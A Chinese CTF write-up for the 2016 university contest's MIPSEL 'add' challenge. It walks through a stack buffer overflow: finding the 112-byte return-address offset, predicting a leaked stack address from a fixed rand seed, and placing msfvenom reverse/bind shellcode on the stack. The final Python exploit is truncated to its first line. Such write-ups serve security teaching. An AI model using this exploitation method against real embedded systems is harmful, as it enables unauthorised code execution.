题目: https://dn.jarvisoj.com/challengefiles/add.1f54e2c8b9396f83a4be2632bcb3a5f5
这是2016全国大学生信息安全竞赛的一个题,是MIPSEL(小端的)
qemu虚拟机可以在这里下
https://people.debian.org/~aurel32/qemu/mipsel/
启动:
1 | qemu-system-mips64el -M malta -kernel vmlinux-3.2.0-4-5kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1" -redir tcp:22::22 -redir tcp:11000::11000 -redir tcp:11001::11001 -redir tcp:11002::11002 -redir tcp:1717::1717 -nographic |
环境:
apt-get update
apt-get install build-essential gdb socat
或者使用配置好的qemu虚拟机
https://mega.nz/#F!oMoVzQaJ!iS73iiQQ3t_6HuE-XpnyaA
先查看保护措施
1 | root@debian-mipsel:~/ctf/uctf# checksec --file add |
这个MIPS实际上是硬件上不支持NX的,所以这里开了也没有用所以可以直接执行shellcode
这个代码一开始还是比较难看的,但是misp应该不会太难
下面这个的输入没有长度限制,应该存在缓冲区溢出
生成200个字节
1 | pattern create 200 |
因为要退出才会回到返回地址所以要退出
1 | Starting program: /root/ctf/uctf/add |
之后便可以看到$ra(这个是储存返回地址的)
1 | $ra : 0x62616164 ("daab"?) |
看下偏移,这个我们是112,因为是小端
1 | pattern offset 0x62616164 |
大小端这个通过看内存就可以判断了
1 | x /8bx 0xxxxxxxx |
还有一个问题就是要么我们能得到栈上的地址,要么找类似于x86是的jmp esp
但是用IDA的mipsrop插件找不到,没栈地址还是用不了
1 | Python>mipsrop.find("") |
所以应该还有其他东西,这个我们没看到输出,根据汇编是跟$4比较相等才来printf这里
我们上去看看$4,而$4刚好是sprintf的第一个参数,即对rand返回值格式化的结果
而且srand的种子固定,那就可预测,我们编写程序
1 | #include "stdio.h" |
编译运行
1 | # gcc -o rand ./rand.c |
我们看看是不是
在内存确定这个是不是我们栈上buf的基址
1 | x /s 0x7fffeb1c |
果然,那么有了偏移,有了栈地址,就可以写代码了
shellcode的生成就用msf,有个坑就是msf这里把mipsel叫mipsle(其实我觉得le好记点,little ending嘛)
可以先看看有什么payload
1 | ➜ ~ msfvenom -l payloads | grep "mipsle" |
我将shellcode放后面,调试可以到达shellcode,但是执行失败
1 | gef➤ x /20i 0x7f9a607c |
调试过程发现shellcode的sw指令将字符串/bin/sh改了
1 | ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:mips:3000 ]──── |
但是shellcode在偏移8的位置则没有改变这个字符串,不知为啥,最终shellcode
如果放在后面的话,shellcode是会被破坏掉的
最终payload
1 | #!/usr/bin/env python |